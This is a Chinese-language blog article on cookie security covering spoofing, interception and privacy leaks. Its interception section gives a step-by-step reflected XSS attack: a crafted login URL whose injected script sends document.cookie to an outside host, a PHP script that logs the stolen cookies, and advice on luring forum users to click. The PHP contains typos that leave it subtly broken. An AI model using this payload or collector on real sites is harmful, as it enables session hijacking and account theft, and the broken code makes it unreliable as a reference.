深入分析Cookie的安全性问题


Posted in Javascript onMarch 01, 2015

Cookie的目的是为用户带来方便,为网站带来增值,一般情况下不会造成严重的安全威胁。Cookie文件不能作为代码执行,也不会传送病毒,它为用户所专有并只能由创建它的服务器来读取。另外,浏览器一般只允许存放300个Cookie,每个站点最多存放20个Cookie,每个Cookie的大小限制为4KB,因此,Cookie不会塞满硬盘,更不会被用作"拒绝服务"攻击手段。

但是,Cookie作为用户身份的替代,其安全性有时决定了整个系统的安全性,Cookie的安全性问题不容忽视。

(1)Cookie欺骗 Cookie记录了用户的帐户ID、密码之类的信息,通常使用MD5方法加密后在网上传递。经过加密处理后的信息即使被网络上一些别有用心的人截获也看不懂。然而,现在存在的问题是,截获Cookie的人不需要知道这些字符串的含义,只要把别人的Cookie向服务器提交,并且能够通过验证,就可以冒充受害人的身份登陆网站,这种行为叫做Cookie欺骗。
非法用户通过Cookie欺骗获得相应的加密密钥,从而访问合法用户的所有个性化信息,包括用户的E-mail甚至帐户信息,对个人信息造成严重危害。
(2)Cookie截获
Cookie以纯文本的形式在浏览器和服务器之间传送,很容易被他人非法截获和利用。任何可以截获Web通信的人都可以读取Cookie。
Cookie被非法用户截获后,然后在其有效期内重放,则此非法用户将享有合法用户的权益。例如,对于在线阅读,非法用户可以不支付费用即可享受在线阅读电子杂志。

Cookie截获的手段有以下一些:

(1)用编程手段截获Cookie。下面分析其手法,该方法分两步完成。

步骤一:定位需要收集Cookie的网站,对其进行分析并构造URL。 首先打开要收集Cookie的网站,这里假设是http://www.XXX.net,登陆网站输入用户名"<Al>"(不含引号),对数据进行分析抓包,得到如下代码:
http://www.XXX.net/tXl/login/login.pl?username=<Al>&passwd=&ok.X=28&ok.y=6;
将其中"<Al>"更换为:
"<script>alert(document.cookie)</script>"再试,如果执行成功,就开始构造URL:
http://www.XXX.net/tXl/login/login.pl?username=<script>window.open ("http://www.cbifamily.org/cbi.php?"%2bdocument.cookie)</script>&passwd=&ok.X=28&ok.y=6.
其中http://www.cbifamily.org/cbi.php是用户能够控制的某台主机上的一个脚本。需要注意的是"%2b"为符号"+"的URL编码,因为"+"将被作为空格处理。该URL即可在论坛中发布,诱使别人点击。

步骤二:编制收集Cookie的PHP脚本,并将其放到用户可以控制的网站上,当不知情者点击了构造的URL后可以执行该PHP代码。该脚本的具体内容如下:

<?php 

$info=getenv("OUERY_STRING"); 

if($info){  

$fp=fopen("info.tXt","a");  

fwrite($fp,!info."\n"); 

fclose($fp);

} 

header("Location:http://www.XXX.net");

?>

将这段代码放到网络里,则能够收集所有人的Cookie。如果一个论坛允许HTML代码或者允许使用Flash标签,就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可收集到大量的Cookie。在论坛上,有许多人的密码就是被这种方法盗走的。
(2)利用Flash的代码隐患截获Cookie。Flash中有一个getURL()函数。Flash可以利用这个函数自动打开指定的网页,它可能把用户引向一个包含恶意代码的网站。例如,当用户在电脑上欣赏Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面,这个页面可以收集Cookie、也可以做一些其他有害的事情。网站无法禁止Flash的这种作为,因为这是Flash文件的内部功能。
(3)Cookie泄漏网络隐私
Cookie导致网络隐私泄密的主要原因是:!商业利益驱动。随着电子商务的兴起和互联网上巨大商机的出现,一些网站和机构滥用Cookie,未经访问者的许可,利用搜索引擎技术、数据挖掘技术甚至是网络欺骗技术搜集他人的个人资料,达到构建用户数据库、发送广告等营利目的,造成用户个人隐私的泄漏。"Cookie信息传递的开放性。Cookie文件具有特殊的传递流程 和文本特性,在服务器和客户端之间传送未经安全加密的Cook-ie文件,易导致个人信息的泄密。

以上都是个人对于cookie安全性的理解,如有遗漏还请大家能够指正。

Javascript 相关文章推荐
用javascript实现页面打印的三种方法
Mar 05 Javascript
jQuery入门问答 整理的几个常见的初学者问题
Feb 22 Javascript
用js实现小球的自由移动代码
Apr 22 Javascript
使用node.js 制作网站前台后台
Nov 13 Javascript
JS跨域问题详解
Nov 25 Javascript
js类式继承与原型式继承详解
Apr 07 Javascript
深入理解JQuery中的事件与动画
May 18 Javascript
基于Bootstrap实现图片轮播效果
May 22 Javascript
微信小程序开发之Tabbar实例详解
Jan 09 Javascript
分享19个JavaScript 有用的简写写法
Jul 07 Javascript
jquery tmpl模板(实例讲解)
Sep 02 jQuery
详解基于mpvue的小程序markdown适配解决方案
May 08 Javascript
浅谈JavaScript事件的属性列表
Mar 01 #Javascript
浅析javascript中的DOM
Mar 01 #Javascript
javascript中的正则表达式使用指南
Mar 01 #Javascript
JQuery中使文本框获得焦点的方法实例分析
Feb 28 #Javascript
jQuery实现折线图的方法
Feb 28 #Javascript
js中split和replace的用法实例
Feb 28 #Javascript
jQuery实现菜单感应鼠标滑动动画效果的方法
Feb 28 #Javascript
You might like
php getsiteurl()函数
2009/09/05 PHP
使用gd库实现php服务端图片裁剪和生成缩略图功能分享
2013/12/25 PHP
Laravel 4 初级教程之视图、命名空间、路由
2014/10/30 PHP
yii框架使用分页的方法分析
2019/07/25 PHP
PHP创建XML的方法示例【基于DOMDocument类及SimpleXMLElement类】
2019/09/10 PHP
Laravel 创建可以传递参数 Console服务的例子
2019/10/14 PHP
jquery 1.3.2 IE8中的一点点的小问题解决方法
2009/07/10 Javascript
使用不同的方法结合/合并两个JS数组
2014/09/18 Javascript
本人自用的global.js库源码分享
2015/02/28 Javascript
60行js代码实现俄罗斯方块
2015/03/31 Javascript
详解Bootstrap glyphicons字体图标
2016/01/04 Javascript
jQuery插件HighCharts实现2D柱状图、折线图的组合多轴图效果示例【附demo源码下载】
2017/03/09 Javascript
JavaScript用二分法查找数据的实例代码
2017/06/17 Javascript
vue cli构建的项目中请求代理与项目打包问题
2018/02/26 Javascript
vue实现a标签点击高亮方法
2018/03/17 Javascript
解决微信小程序防止无法回到主页的问题
2018/09/28 Javascript
vue工程全局设置ajax的等待动效的方法
2019/02/22 Javascript
关于vue-cli 3配置打包优化要点(推荐)
2019/04/22 Javascript
详解Python的单元测试
2015/04/28 Python
浅谈python对象数据的读写权限
2016/09/12 Python
pyinstaller打包单个exe后无法执行错误的解决方法
2019/06/21 Python
使用Python的datetime库处理时间(RPA流程)
2019/11/24 Python
Python如何实现自带HTTP文件传输服务
2020/07/08 Python
纯CSS3实现3D旋转书本效果
2016/03/21 HTML / CSS
秋季运动会通讯稿
2014/01/24 职场文书
上课打牌的检讨书
2014/02/15 职场文书
书法兴趣小组活动总结
2014/07/07 职场文书
试用期旷工辞退通知书
2015/04/17 职场文书
民事调解书范文
2015/05/20 职场文书
法院答辩状格式
2015/05/22 职场文书
2016年大学迎新晚会工作总结
2015/10/15 职场文书
应届生个人的求职(自荐信范文2篇)
2019/08/23 职场文书
2019年暑期法院实习报告
2019/12/18 职场文书
只用40行Python代码就能写出pdf转word小工具
2021/05/31 Python
python 爬取吉首大学网站成绩单
2021/06/02 Python
vmware虚拟机打不开vmx文件怎么办 ?vmware虚拟机vmx文件打开方法
2022/04/08 数码科技